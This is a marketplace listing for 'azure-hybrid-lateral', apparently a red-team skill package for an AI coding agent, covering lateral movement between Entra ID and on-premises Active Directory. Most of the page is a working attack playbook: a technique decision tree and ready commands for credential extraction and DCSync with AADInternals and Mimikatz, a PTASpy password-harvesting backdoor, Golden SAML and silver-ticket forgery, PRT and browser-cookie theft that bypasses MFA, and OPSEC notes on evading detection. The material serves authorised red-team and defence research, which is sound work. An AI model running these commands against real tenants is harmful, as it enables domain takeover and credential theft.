mcpField
A
azure-hybrid-lateral

azure-hybrid-lateral

github.com/wgpsecセキュリティ1.8k42 回インストール4 日前に更新
リポジトリ

azure-hybrid-lateral について

ハイブリッド ID 環境のレッドチーム評価と防御調査向けの方法論です。Entra ID とオンプレミス AD 間のラテラルムーブメントを、構成や認証情報の種類別に整理しています。

主な機能

  1. 01ハイブリッド ID 構成の識別
  2. 0214 種類のラテラルムーブメント手法
  3. 03前提条件に基づく手法選択ツリー
  4. 04ツールと OPSEC の要点

活用シーン

  1. 01クラウドから AD への移動リスク評価
  2. 02オンプレミス認証情報がクラウド資産に及ぼす影響の調査
  3. 03導入コンポーネントに基づくレッドチームテストの計画

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill azure-hybrid-lateral

インストール後、Claude Code で/azure-hybrid-lateralを入力して読み込まれたか確認します。

同梱ファイルreferences/identity-sync-attacks.mdreferences/token-credential-attacks.md

詳細

Azure ハイブリッド ID 横方向移動手法(Cloud <-> On-Prem)

現代の企業環境では、Azure/Entra ID とオンプレミスの Active Directory 間でハイブリッド ID アーキテクチャが広く普及しています。このアーキテクチャは利便性をもたらす一方で、独自の攻撃対象領域も生み出します。攻撃者はクラウド ID(Entra ID)を掌握すると、同期サービス、信頼関係、資格情報のブリッジ機構を利用してオンプレミス AD 環境へ侵入できます。逆も同様です。Cloud-to-OnPrem の横方向移動は、レッドチーム評価で最も重要な攻撃段階の一つであり、防御側が見落としやすい盲点でもあります。

重要なポイント:ハイブリッド ID アーキテクチャの各同期コンポーネント(Connect Sync、Cloud Sync、PTA Agent、Federation)は、横方向移動に利用される潜在的な橋渡し役です。攻撃者はまず、標的が使用しているハイブリッド ID アーキテクチャの種類を特定し、それに応じた横方向移動の手法を選ぶ必要があります。

詳細なリファレンス

具体的な攻撃クラスターを特定したら、対応するリファレンスドキュメントを読み込み、技術的な詳細を確認します。

横方向移動の判断ツリー

クラウドまたはオンプレミスの権限を取得した後、以下の判断ツリーに従って利用可能な横方向移動の手法を選択します。

混合身份架构识别
├─ 检测到 Azure AD Connect Sync(MSOL_* 账户存在)
│   ├─ 已控制 Connect Sync 服务器 → Connect Sync 凭据提取(DCSync)
│   ├─ 有 Entra ID GA 权限 + Password Writeback 启用 → 云端重置 AD 密码
│   └─ 检测到 Seamless SSO(AZUREADSSOACC$ 存在) → 银票伪造访问云端
│       → 读 references/identity-sync-attacks.md
│
├─ 检测到 Cloud Sync(provAgentgMSA 账户存在)
│   ├─ 已控制 gMSA 密码读取权限 → Cloud Sync gMSA 提取 + DCSync
│   └─ AD 用户同步到 Entra ID → 修改密码等待同步
│       → 读 references/identity-sync-attacks.md
│
├─ 检测到 PTA Agent(Pass-through Authentication)
│   ├─ 已控制 PTA 服务器 → 安装 PTASpy 后门(拦截所有密码 + 允许任意密码)
│   └─ 有 GA 权限 → 注册恶意 PTA Agent
│       → 读 references/identity-sync-attacks.md
│
├─ 检测到 Federation(AD FS 服务器存在)
│   ├─ 已控制 AD FS 服务器 → 提取 Token Signing 证书 → Golden SAML
│   └─ 有 Exchange Hybrid → ACS Actor Token 模拟
│       → 读 references/identity-sync-attacks.md
│
├─ 检测到 Cloud Kerberos Trust(AzureADKerberos$ 存在)
│   ├─ 有 GA/Hybrid Identity Admin 权限 → 修改用户 SID → Partial TGT → Full TGT
│   └─ 目标 MSOL 账户 → DCSync 全域
│       → 读 references/token-credential-attacks.md
│
├─ 检测到 Domain Services(AAD DC Administrators 组存在)
│   ├─ 有 Entra ID 权限 → 添加用户到 AAD DC Administrators → RDP 接管
│   └─ 托管域 → 密码哈希同步利用
│       → 读 references/identity-sync-attacks.md
│
├─ 检测到 Arc GPO 部署(AzureArcDeploy 共享目录存在)
│   ├─ 可创建/控制 AD 机器账户 → 解密 SP 密钥 → 云端接管
│   └─ → 读 references/identity-sync-attacks.md
│
├─ 已控制设备(Azure AD Joined/Hybrid Joined)
│   ├─ 设备有 PRT → Pass the PRT(提取 + 构造 PRT Cookie)
│   ├─ 设备有 PRT + NegoEx → Pass the Certificate
│   ├─ 浏览器有 Azure 会话 → Pass the Cookie(ESTSAUTH/ESTSAUTHPERSISTENT)
│   └─ 设备有云端应用(Excel/Teams)→ 内存中提取 JWT Token
│       → 读 references/token-credential-attacks.md
│
└─ 已获取用户凭据(密码/哈希/TGT)
    ├─ 用户已同步到 Entra ID → 直接登录云端
    ├─ 有 AZUREADSSOACC$ 哈希 → Seamless SSO 银票
    └─ 有 KRBTGT 哈希 → Golden Ticket 后通过 Seamless SSO 访问云端
        → 读 references/token-credential-attacks.md

14 種類の横方向移動手法の概要

#手法名方向前提条件必要な権限主なツール目立ちにくさ
1Connect Sync 資格情報の抽出AD↔CloudConnect Sync サーバーへのアクセスサーバーのローカル管理者AADInternals, adconnectdump中
2Cloud Sync gMSA の抽出AD→CloudCloud Sync Agent の展開DC マシンアカウントのハッシュまたは gMSA 読み取り権限DSInternals, Mimikatz中
3PTA Agent のバックドアCloud→ADPTA Agent サーバーへのアクセスサーバーのローカル管理者AADInternals (PTASpy)低
4Federation / Golden SAMLAD→CloudAD FS サーバーへのアクセスDomain AdminADFSDump, shimit, AADInternals高
5Domain ServicesCloud→ADDomain Services の展開済みEntra ID ユーザーの管理権限Azure Portal/CLI低
6Arc GPO スクリプトの注入AD→CloudArc GPO の展開と共有へのアクセスAD マシンアカウントPowerShell (DPAPI-NG)中
7Pass the PRTデバイス→CloudAzure AD Joined デバイスへのアクセスローカル管理者/ユーザーMimikatz, ROADtools, AADInternals高
8Pass the Certificateデバイス→デバイスPRT + NegoEx のサポートPRT の抽出権限PrtToCert, AzureADJoinedMachinePTC高
9Pass the Cookieブラウザー→Cloudブラウザーセッションの存在ユーザーレベル(DPAPI の復号)Mimikatz (dpapi::chrome)高
10Seamless SSO の銀のチケットAD→CloudSeamless SSO の有効化AZUREADSSOACC$ のハッシュMimikatz, SeamlessPass, Rubeus高
11Cloud Kerberos TrustCloud→ADCloud Kerberos Trust の有効化Global Admin / Hybrid Identity AdminROADtools Hybrid, Impacket高
12Exchange Hybrid の偽装AD→CloudExchange Hybrid の展開Exchange サーバーへのアクセスカスタム OAuth ツール中
13ローカルのクラウド資格情報の抽出デバイス→Cloudエンドポイントデバイスへの侵入済みローカル管理者/ユーザーWinPEAS, 手動検索高
14Hybrid Misc(強制同期など)AD↔Cloudハイブリッド ID 同期の有効化AD ユーザー属性の変更権限PowerShell, AADInternals中

第 1 グループ:ID 同期関連の攻撃

Connect Sync 資格情報の抽出

Azure AD Connect Sync は、インストール先のサーバーに MSOL_<installationID> アカウントを作成します。このアカウントはオンプレミス AD の DCSync(ディレクトリ複製)権限を持っています。資格情報は DPAPI で暗号化され、ローカル SQL データベース ADSync.mdf に保存されます。攻撃者は Connect Sync サーバーを掌握すると、MSOL アカウントのパスワードを抽出し、DCSync を実行してドメイン全体のハッシュを取得できます。

# 提取 Connect Sync 存储的凭据
Install-Module -Name AADInternals -RequiredVersion 0.9.0
Import-Module AADInternals
Get-AADIntSyncCredentials

# 使用 MSOL 账户执行 DCSync
runas /netonly /user:domain\MSOL_<id> cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

列挙:MSOL_*、Sync_*、ADSyncMSA* アカウントを検索し、Connect Sync の存在を確認します。

Cloud Sync gMSA 資格情報の抽出

Cloud Sync は、グループ管理サービスアカウント(gMSA)である provAgentgMSA を使用し、既定で DCSync 権限を持っています。gMSA のパスワードは通常、DC マシンアカウントのみが読み取れます。攻撃者はまず DC マシンアカウントのハッシュを取得し、そのアカウントになりすまして gMSA のパスワードを読み取る必要があります。

# 枚举 gMSA 账户
Get-ADServiceAccount -Filter * -Server domain.local
# 获取 DC 机器账户哈希后读取 gMSA 密码
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
PTA Agent のバックドア

Pass-through Authentication Agent は、Azure AD キューから暗号化された資格情報を取得し、オンプレミス AD で検証します。攻撃者は PTA サーバーを掌握すると、バックドアをインストールしてすべての平文パスワードを傍受し、任意のパスワードを検証に通すことができます(Skeleton Key 攻撃と類似)。

# 安装 PTASpy 后门
Install-AADIntPTASpy
# 读取拦截到的明文密码
Get-AADIntPTASpyLog -DecodePasswords
# 移除后门
Remove-AADIntPTASpy

注意:GA 権限を取得した後、新しい PTA Agent を登録して永続化できます。

Federation / Golden SAML

AD FS は Token Signing 証明書を使って SAML Response に署名します。攻撃者はその秘密鍵を抽出すると、任意のユーザーの SAML トークンを偽造(Golden SAML)し、パスワードと MFA 認証を回避できます。証明書は自動的にローテーションされず、ユーザーパスワードを変更しても、すでに生成された SAML には影響しません。

# 从 AD FS 服务器导出 Token Signing 证书
Export-AADIntADFSSigningCertificate
# 使用 shimit 伪造 SAML Response
python shimit.py -idp http://adfs.domain.com/adfs/services/trust -pk key.pem -c cert.pem -u domain\admin -n [email protected] -r ADFS-admin -id 123456789012
Domain Services

Microsoft Entra Domain Services は、Azure にマネージド AD を展開します。AAD DC Administrators グループのメンバーは、ドメイン内 VM でローカル管理者権限を持ちます。攻撃者はユーザーをこのグループに追加するだけで、RDP を通じてドメイン内のすべての VM を掌握できます。

Arc GPO 展開スクリプトの注入

Azure Arc は GPO 展開スクリプトを使ってサーバーを Azure に接続します。Service Principal のキーは DPAPI-NG で暗号化され、ネットワーク共有に保存されます。攻撃者は AD マシンアカウントを作成または掌握すると、このキーを復号し、Service Principal として Azure にアクセスできます。

# 使用机器账户 TGT 解密 SP 密钥
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "\\share\AzureArcDeploy\encryptedServicePrincipalSecret"
$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)

第 2 グループ:トークンおよび資格情報関連の攻撃

Pass the PRT

Primary Refresh Token(PRT)は、Azure AD デバイス上の有効期間の長い更新トークンで、Kerberos TGT に似ています。PRT とその Session Key は、LSASS の CloudAP プラグインにキャッシュされます。TPM のないデバイスではメモリから直接抽出できます。TPM を備えたデバイスでは、BrowserCore COM インターフェイスまたは WAM API を通じて間接的に PRT Cookie を取得できます。

# 从 LSASS 提取 PRT 和 Session Key(无 TPM)
privilege::debug
sekurlsa::cloudap
token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# 生成 PRT Cookie
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
# 使用 roadtx 续期 PRT
roadtx prt -a renew --prt <PRT> --prt-sessionkey <clear_key>
roadtx browserprtauth

非管理者の方法:BrowserCore COM(RequestAADRefreshToken.exe)または ROADtoken を使って、ユーザーレベルで PRT Cookie を取得します。

Pass the Certificate

PRT を使って Entra ID CA にユーザー P2P 証明書を要求し、その証明書で NegoEx 認証を行うことで、他の Azure AD Joined マシンにアクセスします。

# 请求 P2P 证书
RequestCert.py --tenantId <TenantID> --prt <PRT> --userName <User> --hexCtx <Ctx> --hexDerivedKey <Key>
# 使用证书访问远程机器
Main.py --usercert user.pfx --certpass <pass> --remoteip <target_ip>
Pass the Cookie

ブラウザーから Azure 認証 Cookie(ESTSAUTH、ESTSAUTHPERSISTENT)を抽出し、DPAPI で復号してブラウザーに注入すると、MFA を直接回避して Azure リソースにアクセスできます。

# 使用 Mimikatz 提取 Chrome Cookie
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
# 将 ESTSAUTHPERSISTENT Cookie 注入浏览器 → 访问 login.microsoftonline.com
Seamless SSO シルバーチケット

Seamless SSO は AD に AZUREADSSOACC$ コンピューターアカウントを作成します。そのパスワードは変更されず、平文で Entra ID に送信されます。攻撃者はこのアカウントのハッシュを取得すると、任意の同期ユーザーになりすました Kerberos シルバーチケットを偽造し、クラウドリソースにアクセスできます。

# 提取 AZUREADSSOACC$ 哈希
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# 使用 SeamlessPass 获取云端令牌
seamlesspass -tenant corp.com -adssoacc-ntlm <hash> -user-sid <SID>
# 或伪造银票
mimikatz.exe "kerberos::golden /user:<target> /sid:<domain_SID> /id:<RID> /domain:domain.local /rc4:<hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit

注意:AZUREADSSOACC$ のパスワードは変更されないため、一度抽出すれば長期にわたって悪用できます。シルバーチケットは MFA を回避しません。

Cloud Kerberos Trust

環境で Cloud Kerberos Trust が有効になっている場合、Entra ID は AD ユーザーに Partial TGT を発行できます。攻撃者は Global Admin 権限を持つと、Sync API を使用してハイブリッドユーザーの onPremisesSID を高権限の AD アカウント(MSOL 同期アカウントなど)に向けて変更し、Partial TGT を取得して DC 上で Full TGT に交換し、最終的に DCSync を実行できます。

# 修改混合用户的 on-prem SID 指向目标账户
python3 modifyuser.py -u <GA_UPN> -p <Password> --sourceanchor <ImmutableID> --sid <Target_SID> --sam <Target_SAM>
# 获取 PRT 中的 Partial TGT
roadtx getprt -u <HybridUser> -p <Password> -d <DeviceID>
# 将 Partial TGT 换为 Full TGT + NTLM 哈希
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
# DCSync
secretsdump.py 'DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash>
Exchange Hybrid のなりすまし

旧バージョンの Exchange Hybrid 設計では、オンプレミスの Exchange は Exchange Online と同じ Entra アプリケーション ID を使用できます。攻撃者は Exchange サーバーから Hybrid 証明書の秘密鍵を抽出すると、ACS Actor Token を使用して任意のユーザーになりすまし、Exchange Online と SharePoint/OneDrive にアクセスできます。graph.windows.net のなりすまし経路は修正済みですが、ID 分離の移行が完了していない環境では、Exchange/SharePoint のなりすましは依然として有効です。

ローカルでのクラウド資格情報の抽出

エンドポイントデバイスに侵入すると、複数の場所からクラウド資格情報を抽出できます。

場所資格情報の種類パス/方法
Azure CLIAccess Token(平文)C:\Users\<user>\.Azure\accessTokens.json
Azure PowerShellToken CacheC:\Users\<user>\.Azure\TokenCache.dat
Azure PowerShellSP Secret(平文)C:\Users\<user>\.Azure\AzureRmContext.json
プロセスメモリJWT Token(平文)Excel/Teams プロセスメモリをダンプし、eyJ0 を grep
ブラウザーSession CookieDPAPI でブラウザー Cookie ストレージを復号
# 从进程内存提取 JWT Token
strings excel.dmp | grep 'eyJ0'
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

おすすめのツール

ツール用途適用シナリオ
AADInternalsConnect Sync/PTA/Seamless SSO/PRT 攻撃あらゆるハイブリッド ID 攻撃
ROADtools (roadtx/roadrecon)PRT 操作、Cloud Kerberos Trust、デバイス登録Cloud→OnPrem への侵入
MimikatzPRT/Cookie/DPAPI/DCSync/シルバーチケット資格情報の抽出とチケットの偽造
RubeusKerberos チケット操作、S4U、シルバーチケットSeamless SSO/RBCD 攻撃
SeamlessPassSeamless SSO のワンクリック悪用TGT/TGS/ハッシュ→クラウドトークン
adconnectdumpConnect Sync 資格情報のリモート抽出リモートからの Connect Sync 攻撃
shimitGolden SAML の偽造Federation 攻撃
ImpacketDCSync/secretsdump/getST/addcomputerAD の中核的な攻撃ツールセット
PrtToCertPRT→P2P 証明書の生成Pass the Certificate
ROADtokenユーザーレベルの PRT Cookie の取得非管理者による PRT の悪用
DSInternalsgMSA パスワードの読み取り、NTDS.dit の解析Cloud Sync/Seamless SSO
WinPEASローカル資格情報の自動検索ローカルのクラウド資格情報の検出

アーキテクチャ識別の列挙コマンド

# 检测 Connect Sync(从 AD 侧)
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'"

# 检测 Cloud Sync(从 AD 侧)
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# 检测 Seamless SSO(从 AD 侧)
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"

# 检测 Cloud Kerberos Trust(从 AD 侧)
Get-ADComputer -Filter "SamAccountName -like 'AzureADKerberos$'"

# 检测 PTA Agent(从 Entra ID 侧)
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'

# 检测 Cloud Sync Agent(从 Entra ID 侧)
az rest --method GET --uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups"

# 检测同步配置(从 Entra ID 侧)
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"

# 检测 Federation(从外部)
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain> | Format-Table

運用上のセキュリティ(OPSEC)

  • PTA バックドア:PTASpy は DLL インジェクション方式で動作し、サービスの再起動後は無効になります。C:\PTASpy にフォルダーを作成すると、ファイルシステムに痕跡が残ります
  • Connect Sync 資格情報の抽出:Get-AADIntSyncCredentials は、SQL データベースへのアクセスにローカル管理者権限が必要ですが、操作自体はネットワークログを生成しません
  • Golden SAML:Token Signing 証明書は自動ローテーションされないため、攻撃者は長期にわたりトークンを偽造できます。検出には AD FS 証明書のエクスポートイベントを監視する必要があります
  • PRT の抽出:sekurlsa::cloudap は LSASS にアクセスするために SYSTEM 権限が必要であり、EDR/Sysmon の LSASS アクセスアラートが発生します
  • Seamless SSO シルバーチケット:AZUREADSSOACC$ のパスワードは変更されないため、一度抽出すると攻撃者は無期限にシルバーチケットを偽造できます
  • Cloud Kerberos Trust:ユーザーの onPremisesSID を変更しても、次回の同期サイクルで自動的に元に戻りますが、DCSync を完了するには十分な攻撃時間があります
  • Password Writeback:AD ユーザーのパスワードを変更すると Entra ID の監査ログが生成されます。adminCount=1 のユーザー(Domain Admins など)は影響を受けません
  • GuardDuty に相当する機能:Azure では、Microsoft Defender for Identity と Microsoft Sentinel が対応する検出サービスです。DCSync や異常な Kerberos チケット要求などを監視します

相互参照

  • Azure 環境全体の攻撃手順と初期アクセス方法については、azure-pentesting スキルを参照してください
  • Entra ID の権限昇格と永続化の手法については、azure-ad-attack スキルを参照してください

コメント